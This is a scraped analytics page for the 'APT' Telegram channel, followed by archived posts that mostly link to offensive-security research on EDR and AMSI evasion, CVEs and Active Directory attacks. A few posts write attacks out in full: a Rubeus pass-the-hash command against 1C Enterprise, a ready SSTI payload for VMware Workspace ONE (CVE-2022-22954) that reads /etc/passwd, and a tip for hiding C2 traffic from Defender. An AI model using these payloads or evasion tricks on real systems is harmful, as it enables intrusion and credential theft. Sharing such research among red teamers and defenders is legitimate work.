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This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat

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Rusia40 381Tecnologías y Aplicaciones7 769

📈 Análisis del canal de Telegram APT

El canal APT (@apt_notes) en el segmento lingüístico de Inglés es un actor destacado. Actualmente la comunidad reúne a 16 249 suscriptores, ocupando la posición 7 769 en la categoría Tecnologías y Aplicaciones y el puesto 40 381 en la región Rusia.

📊 Métricas de audiencia y dinámica

Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 16 249 suscriptores.

Según los últimos datos del 30 agosto, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de 549, y en las últimas 24 horas de 10, conservando un alto alcance.

  • Estado de verificación: No verificado
  • Tasa de interacción (ER): El promedio de interacción de la audiencia es 39.89%. Durante las primeras 24 horas tras publicar, el contenido suele obtener 18.07% de reacciones respecto al total de suscriptores.
  • Alcance de las publicaciones: Cada publicación recibe en promedio 6 477 visualizaciones. En el primer día suele acumular 2 934 visualizaciones.
  • Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 26.

📝 Descripción y política de contenido

El autor describe el recurso como un espacio para expresar opiniones subjetivas:
“This channel discusses: — Offensive Security — RedTeam — Malware Research — OSINT — etc Disclaimer: t.me/APT_Notes/6 Chat Link: t.me/APT_Notes_PublicChat”

Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 31 agosto, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Tecnologías y Aplicaciones.

16 249
Suscriptores
+1024 horas
+957 días
+54930 días
Archivo de publicaciones
APT
APT
16 249
A blueprint for evading industry leading endpoint protection in 2022 In this post, I’d like to lay out a collection of techni
A blueprint for evading industry leading endpoint protection in 2022 In this post, I’d like to lay out a collection of techniques that together can be used to bypassed industry leading enterprise endpoint protection solutions. This is purely for educational purposes for (ethical) red teamers and alike, so I’ve decided not to publicly release the source code. The aim for this post is to be accessible to a wide audience in the security industry, but not to drill down to the nitty gritty details of every technique. Instead, I will refer to writeups of others that deep dive better than I can: https://vanmieghem.io/blueprint-for-evading-edr-in-2022/ #av #edr #evasion #research

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In-Process Patchless AMSI Bypass https://ethicalchaos.dev/2022/04/17/in-process-patchless-amsi-bypass/ #amsi #bypass #av #evasion

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16 249
Repost from 1N73LL1G3NC3
CVE-2022-29072 7-Zip 21.07 on Windows allows privilege escalation and command execution when a file with the .7z extension is dragged to the Help>Contents area (0-day) https://github.com/kagancapar/CVE-2022-29072

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ShadowMove Pivot Technique ShadowMove is a novel technique to hijack sockets from non-cooperative processes. It is described
ShadowMove Pivot Technique ShadowMove is a novel technique to hijack sockets from non-cooperative processes. It is described in the paper ShadowMove: A Stealthy Lateral Movement Strategy presented at USENIX ‘20. This technique takes advantage of the fact that AFD (Ancillary Function Driver) file handles are treated as socket handles by Windows APIs, so it is possible to duplicate them with WSADuplicateSocket(). https://adepts.of0x.cc/shadowmove-hijack-socket/ #shadowmove #hijacking #socket #redteam

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Pass-the-Hash in 1C Enterprise To gain access to 1C Enterprise, you need a username and password. In case 1C works with LDAP
Pass-the-Hash in 1C Enterprise To gain access to 1C Enterprise, you need a username and password. In case 1C works with LDAP authentication and you only have the user's NTLM hash, you can use Rubeus to launch 1C using the Pass-the-Hash attack. Thus, you can access 1C Enterprise without having a password in the plaintext. 
Invoke-Rubeus -Command "asktgt /user:i.ivanov /domain:APTNOTES.LOCAL /rc4:A87F3A337D73085C45F9416BE5787D86 /createnetonly:C:\1cestart.exe /show"
Bonus: If the compromised user has permissions to run "External data processors", you can get a reverse shell of the 1C server. https://github.com/KraudSecurity/1C-Exploit-Kit/tree/master/1C-Shell #1c #pth #rubeus #ad

APT
APT
16 249
Red Teaming Toolkit A collection of open source and commercial tools that aid in red team operations. This post will help you
Red Teaming Toolkit A collection of open source and commercial tools that aid in red team operations. This post will help you during red team engagement. Contents — Reconnaissance — Weaponization — Delivery — Command and Control — Lateral Movement — Establish Foothold — Escalate Privileges — Data Exfiltration — Misc — References https://renatoborbolla.medium.com/red-teaming-adversary-simulation-toolkit-da89b20cb5ea #redteam #toolkit #powershell #c2

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Microsoft Sharepoint RCE (CVE-2022-22005) https://hnd3884.github.io/posts/cve-2022-22005-microsoft-sharepoint-RCE/ #sharepoint #rce #cve #research

APT
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SID filter as security boundary between domains? Microsoft states that "the forest (not the domain) is the security boundary in an Active Directory implementation", meaning that Domain Admins of a child domain is essentially as privileged as Enterprise Admins in a root domain and will have administrative rights in all domains of the forest. Why? We guessed that the default trust between domains inside a forest enables any child domain to trick the root domain to treat child domain users as Enterprise Admins by abusing the SID history (ExtraSids) functionality – this attack/technique is known as "Access Token Manipulation: SID-History Injection" and is explained in a later part of this series. Kerberos authentication explained (Part 1) Known AD attacks - from child to parent (Part 2) SID filtering explained (Part 3) Bypass SID filtering research (Part 4) Golden GMSA trust attack - from child to parent (Part 5) Schema change trust attack - from child to parent (Part 6) Trust account attack - from trusting to trusted (Part 7) #ad #trust #kerberus #research

APT
APT
16 249
Red Team Tips To get rid of Microsoft Defender "behaviour based" amsi detection in case of opening a https C2 channel, it can
Red Team Tips To get rid of Microsoft Defender "behaviour based" amsi detection in case of opening a https C2 channel, it can help, to play with the parameter UserAgent. For example, try a Windows Update User Agent. #redteam #tips #defender #bypass

APT
APT
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Critical Remote Code Execution Vulnerabilities in Windows RPC Runtime (CVE-2022-26809) https://www.akamai.com/blog/security/c
Critical Remote Code Execution Vulnerabilities in Windows RPC Runtime (CVE-2022-26809) https://www.akamai.com/blog/security/critical-remote-code-execution-vulnerabilities-windows-rpc-runtime #windows #rpc #rce #research

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Coercing NTLM Authentication from SCCM https://posts.specterops.io/coercing-ntlm-authentication-from-sccm-e6e23ea8260a #ad #ntlm #sccm

APT
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16 249
VMware Workspace ONE — SSTI (CVE-2022-22954) Successful exploitation could lead to RCE from an unauthenticated user. Payload:
VMware Workspace ONE — SSTI (CVE-2022-22954) Successful exploitation could lead to RCE from an unauthenticated user. Payload: https://victim/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")} #vmware #workspace #ssti #cve

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AppRecoveryCallback Inject Overwrite a process's recovery callback and invoke a crash to execute https://github.com/Wra7h/ARCInject #av #edr #evasion #inject #csharp

APT
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How NAT traversal works This blog post about NAT and NAT traversal is truly awesome! https://tailscale.com/blog/how-nat-traversal-works/ #howto #nat #blog

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Remotely Dumping Chrome Cookies The method in this blog post does not require the remote debugger or Keychain (macOS)/DPAPI (Windows) access and applies to Chromium-based browsers in general https://cedowens.medium.com/remotely-dumping-chrome-cookies-revisited-b25343257209 #chrome #cookie #dump #blog

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Rockyou for Web Fuzzing This is a wordlist for fuzzing purposes made from the best wordlists currently available, lowercased and deduplicated later with duplicut, added cleaner from BonJarber. The lists used have been some selected within these repositories: 
— fuzzdb
— SecLists
— xmendez
— minimaxir
— TheRook
— danielmiessler
— swisskyrepo
— 1N3
— cujanovic
— lavalamp
— ics-default
— jeanphorn
— j3ers3
— nyxxxie
— dirbuster
— dotdotpwn
— hackerone_wordlist
— commonspeak2
— bruteforce-list
— assetnote
https://github.com/six2dez/OneListForAll #web #fuzzing #wordlist

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Unmanaged Code Execution with .NET Dynamic PInvoke https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/ #edr #evasion #pinvoke #csharp #blog

APT
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Spring4Shell Scan A fully automated, reliable, and accurate scanner for finding Spring4Shell and Spring Cloud RCE vulnerabilities Features: — Support for lists of URLs. — Fuzzing for more than 10 new Spring4Shell payloads (previously seen tools uses only 1-2 variants). — Fuzzing for HTTP GET and POST methods. — Automatic validation of the vulnerability upon discovery. — Randomized and non-intrusive payloads. — WAF Bypass payloads. https://github.com/fullhunt/spring4shell-scan #spring4shell #spring #scan #tools

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[Blog] Unmanaged Code Execution with .NET Dynamic PInvoke https://bohops.com/2022/04/02/unmanaged-code-execution-with-net-dynamic-pinvoke/ #edr #evasion #pinvoke #csharp

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The Bug Hunter Methodology PDF: https://www.ceos3c.com/wp-content/uploads/2020/06/Bug-Hunter-Methodology-V4-Visualization.pdf
The Bug Hunter Methodology PDF: https://www.ceos3c.com/wp-content/uploads/2020/06/Bug-Hunter-Methodology-V4-Visualization.pdf #bugbounty #methodology #xmind